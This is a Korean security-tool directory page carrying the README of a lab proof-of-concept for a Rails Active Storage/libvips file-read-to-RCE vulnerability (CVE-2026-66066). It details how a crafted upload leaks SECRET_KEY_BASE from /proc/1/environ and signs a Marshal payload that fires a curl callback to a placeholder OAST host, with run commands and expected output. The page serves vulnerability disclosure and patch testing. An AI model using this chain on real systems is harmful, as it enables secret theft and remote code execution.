Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-66066-POC — # Ruby on Rails의 CVE-2026-66066에 대한 PoC | Kitploit
도구/GitHubGitHub/zer0sumgam3/cve-2026-66066-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubzer0sumgam3/cve-2026-66066-poc

CVE-2026-66066-POC

# Ruby on Rails의 CVE-2026-66066에 대한 PoC

저장소 보기
2213531개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-66066 PoC - 최소 Rails/libvips 실습 환경

이 저장소는 GHSA-xr9x-r78c-5hrm에 설명된 Rails Active Storage 파일 읽기-to-RCE 체인을 Rails 8.1.3(영향을 받는 최신 Rails 8.1 릴리스)에서 재현합니다. Rails 8.1.3.1은 패치된 대조군입니다.

여기에 설명된 일회용 로컬 실습 환경에서만 사용하십시오. HTTP 드라이버는 루프백이 아닌 대상을 거부합니다(다른 대상에 대한 승인된 테스트를 위해 Python 코드를 수정하는 것은 간단하지만).

엄격한 대상/공격자 경계

대상은 일반적인 Rails 애플리케이션입니다. 최종 이미지에는 다음이 포함됩니다:

  • 고정된 ruby:3.4.10-slim Docker 공식 이미지;
  • rails _VERSION_ new로 생성된 애플리케이션;
  • Rails가 생성한 런타임 패키지 curl, libjemalloc2, libvips, sqlite3;
  • Rails가 생성한 엔트리포인트와 기본 ./bin/thrust ./bin/rails server 명령; 그리고
  • 단일 Active Storage 첨부 파일, 일반 HTML new, create, show 액션, PNG 이미지 변형을 가진 하나의 일반 Upload 모델.

여기에는 아티팩트 빌더, 업로드 아티팩트, 익스플로잇 드라이버, Marshal 생성자, 콜백 코드, 진단 엔드포인트, 로더 추적, 사용자 정의 부팅 스크립트, 대상 비밀 픽스처 또는 익스플로잇 전용 라우트가 포함되지 않습니다. VIPS_TRACE를 설정하지 않고, 프로세스 환경을 재정렬하지 않으며, Active Storage 직렬화기를 재정의하지 않고, 기본이 아닌 이미지 프로세서를 구성하지 않습니다.

루트 .dockerignore는 빌드에 Dockerfile과 overlay/만 전송합니다. 호스트 측 Python 스크립트와 생성된 모든 아티팩트는 최종 복사 단계에서 생략되는 것에 그치지 않고 Docker 빌드 컨텍스트에서 제외됩니다.

완전한 대상 오버레이는 일반 파일 5개입니다:

root@kitploit:~
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb

표시 페이지는 최소한의 일반 변환을 사용합니다:

root@kitploit:~
<%= image_tag @upload.avatar.variant(format: :png) %>

수정되지 않은 새 Rails 애플리케이션에는 첨부 파일을 수락하는 애플리케이션 모델이나 페이지가 없으므로 이 5개 파일은 권고의 신뢰할 수 없는 이미지 업로드 조건을 나타내는 데 필요한 최소한의 애플리케이션 기능입니다.

취약한 대상 빌드 및 실행

전제 조건은 Docker, OpenSSL, Python 3 및 아티팩트 빌더용 h5py입니다.

터미널 1에서:

root@kitploit:~
./run_lab.sh 8.1.3

이 스크립트는 minimal-rails-vips:8.1.3을 빌드하고, 이미 제공되지 않은 경우 임시 SECRET_KEY_BASE를 생성하며, 애플리케이션을 127.0.0.1:3000에서만 게시하고, 이미지의 생성된 엔트리포인트와 기본 명령을 실행합니다. 대상에 소스 디렉터리나 아티팩트가 마운트되지 않습니다.

포트 3000이 이미 사용 중인 경우 이미지를 변경하지 않고 다른 루프백 포트를 선택하십시오:

root@kitploit:~
HOST_PORT=33020 ./run_lab.sh 8.1.3

드라이버의 --target에서 동일한 포트를 사용하십시오.

결합 빌더 및 드라이버 실행

터미널 2에서:

root@kitploit:~
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py

python3 rails_vips_oast_poc.py \
  --target http://127.0.0.1:3000 \
  --oast https://YOUR-OAST-DOMAIN.example/callback

rails_vips_oast_poc.py는 일회성 빌더이자 HTTP 드라이버입니다. --artifact가 제공되지 않는 한 개인 임시 디렉터리에 업로드를 구성하고, 전체 요청 시퀀스 동안 유지하며, 프로세스가 종료될 때 제거합니다. 정적 페이로드를 풀지 않고 두 단계를 모두 구성합니다:

  1. h5py에 512바이트 사용자 블록이 있는 MATLAB/HDF5 파일 생성을 요청합니다.
  2. environment라는 이름의 1 × 1024 리틀엔디언 uint8 데이터셋을 생성합니다.
  3. 데이터셋은 오프셋 0, 제한된 1,024바이트 범위로 /proc/1/environ을 백업하는 HDF5 외부 저장소를 사용합니다.
  4. MATLAB_class="uint8"를 추가하고 libvips의 matload 스니퍼가 사용하는 MATLAB 5.0 헤더를 작성합니다.
  5. 최소 Ruby Marshal 4.8 작성기가 완전한 부호 없는 OOB 변형 그래프를 구성합니다.
  6. 직렬화된 그래프와 OAST URL 및 상관 관계 nonce가 포함된 작은 매니페스트가 있는 무결성 검사 트레일러를 추가합니다.

내장 RCE 프로그램은 구조화된 인수 배열과 함께 /usr/bin/curl로 고정됩니다. 구성된 OAST URL에 GET 요청을 한 번 수행하고 무작위 rails_ghsa_xr9x 상관 관계 토큰만 전송합니다. 셸을 사용하지 않으며 복구된 비밀, 명령 출력, 파일 내용 또는 대상 식별자를 콜백에 포함하지 않습니다.

아티팩트 매개변수:

  • --external-path: 대상 측 절대 파일, 기본값 /proc/1/environ;
  • --bytes: 128~4096의 제한된 외부 범위, 기본값 1024;
  • --oast: 페이로드에 포함된 콜백 기본 URL; 그리고
  • --nonce: 재현 가능한 아티팩트를 위한 선택적 16바이트 16진수 nonce.

기본 OAST URL은 루프백 안전입니다. 엔드투엔드 확인을 위해 컨테이너에서 도달 가능한 수신자 URL을 제공하십시오.

생성된 업로드를 검사하거나 재사용하기 위해 유지하려면 아티팩트 경로를 추가하십시오:

root@kitploit:~
python3 rails_vips_oast_poc.py \
  --target http://127.0.0.1:3000 \
  --oast https://YOUR-OAST-DOMAIN.example/callback \
  --artifact environment-read.bmp

기존 --artifact는 검증되고 재사용됩니다. 이 경우 --oast가 제공되면 포함된 콜백 URL과 일치해야 합니다. 현재 빌더 매개변수로 재구성하고 원자적으로 교체하려면 --force를 추가하십시오.

HTTP 요청 없이 아티팩트 생성만 하려면 동반 빌더를 계속 사용할 수 있습니다:

root@kitploit:~
python3 build_upload_artifact.py \
  --output environment-read.bmp \
  --oast https://YOUR-OAST-DOMAIN.example/callback

--target은 기본적으로 http://127.0.0.1:3000이며 리터럴 루프백 또는 localhost로 제한됩니다.

예상 취약 출력:

root@kitploit:~
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER

터미널의 oast_nonce를 OAST 서비스가 수신한 rails_ghsa_xr9x=<nonce> 쿼리 매개변수와 일치시키십시오. 최종 표현 요청의 HTTP 500은 예상됩니다. 콜백은 인증된 Marshal Hash가 재구성되는 동안 발생하며, 이후 전체 변환이 실패합니다.

드라이버가 수행하는 작업

빌더 부분은 h5py가 필요합니다. HTTP 및 암호화 부분은 Python 표준 라이브러리만 사용합니다:

  1. 완전한 업로드 아티팩트와 포함된 부호 없는 Marshal 그래프를 구성하고 검증합니다.
  2. 애플리케이션의 일반 multipart HTML 양식을 통해 안전한 PNG를 업로드하고, 일반 리디렉션을 따르며, `` 요소에서 표현 URL을 추출합니다.
  3. Rails의 내장 Active Storage 직접 업로드 엔드포인트를 사용하여 image/bmp로 선언된 연결되지 않은 blob을 생성한 다음 구성된 바이트를 업로드합니다.
  4. 해당 유효한 blob 서명 ID를 안전한 이미지의 일반 변형 키와 결합하고 표현을 요청합니다.
  5. 스톡 Debian libvips는 퍼징되지 않은 matload 작업을 선택합니다. 반환된 PNG는 런타임 SECRET_KEY_BASE를 포함한 외부 데이터셋 바이트를 노출합니다.
  6. 드라이버는 일반 ActiveStorage 검증기 키를 파생하고, 아티팩트에서 이미 구성된 Marshal 페이로드를 읽고, variation 용도로 서명하고, 결과 표현 URL을 요청합니다.
  7. 역직렬화는 내장된 /usr/bin/curl 페이로드를 호출하고 블라인드 OOB 콜백을 생성합니다.

대상은 헬퍼 엔드포인트나 서명 가젯을 제공하지 않습니다. 직렬화된 그래프에서 사용되는 Ruby 클래스는 스톡 rails new Gemfile이 이미 해결한 종속성에서 비롯됩니다. 애플리케이션은 이를 요구하거나 구성하지 않습니다. 이미지 처리는 전체적으로 Rails 기본 :vips 프로세서로 유지됩니다.

패치 차등 비교

터미널 1에서 Ctrl-C로 중지한 후 실행:

root@kitploit:~
./run_lab.sh 8.1.3.1

동일한 결합 드라이버 명령을 다시 실행하십시오. 아티팩트가 유지된 경우 동일한 --artifact 경로를 전달하여 재사용할 수 있습니다. 패치된 결과는 다음에서 중지해야 합니다:

root@kitploit:~
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500

환경 픽셀이 반환되지 않고, 포함된 페이로드가 서명되거나 제출되지 않으며, OAST 콜백이 발생하지 않습니다. Active Storage 8.1.3.1은 libvips의 신뢰할 수 없는 작업 차단을 활성화하므로 matload가 거부됩니다.

대상 이미지가 깨끗한지 확인

최종 런타임 구성은 생성된 구성이어야 합니다:

root@kitploit:~
docker image inspect minimal-rails-vips:8.1.3 \
  --format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'

예상:

root@kitploit:~
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"

유일한 스크립트를 검사하고 PoC 파일이 없는지 확인하십시오:

root@kitploit:~
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
  find /rails/script -maxdepth 2 -type f -print
  test ! -e /rails/payloads
  test ! -e /rails/payload_builder.c
  test ! -e /rails/config/master.key
'

유일한 스크립트 항목은 생성기가 만든 /rails/script/.keep입니다. 빌드 도구와 선택적 이미지 CLI도 런타임에서 제외됩니다:

root@kitploit:~
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
  for tool in gcc h5cc vips vipsheader convert magick tesseract; do
    command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
  done
'

libvips는 CLI 도구가 설치되지 않았더라도 공유 런타임 라이브러리로 존재합니다. Debian의 스톡 종속성 그래프가 연결된 MAT/HDF5 형식 지원을 제공합니다.

파일

  • Dockerfile은 최소 스톡 대상을 생성하고 패키징합니다.
  • .dockerignore는 공격자 측 파일이 빌드 컨텍스트에 들어가는 것을 방지합니다.
  • overlay/에는 일반 Rails 애플리케이션 파일 5개만 포함됩니다.
  • run_lab.sh는 PoC를 실행하지 않고 대상을 빌드하고 시작합니다.
  • rails_vips_oast_poc.py는 HDF5 파일 읽기 이미지와 구성 가능한 OOB 페이로드를 구성하고, 일반 HTTP 흐름을 구동하며, 검증기 비밀을 복구하고, 포함된 페이로드에 서명하고, 이를 트리거합니다.
도구 다운로드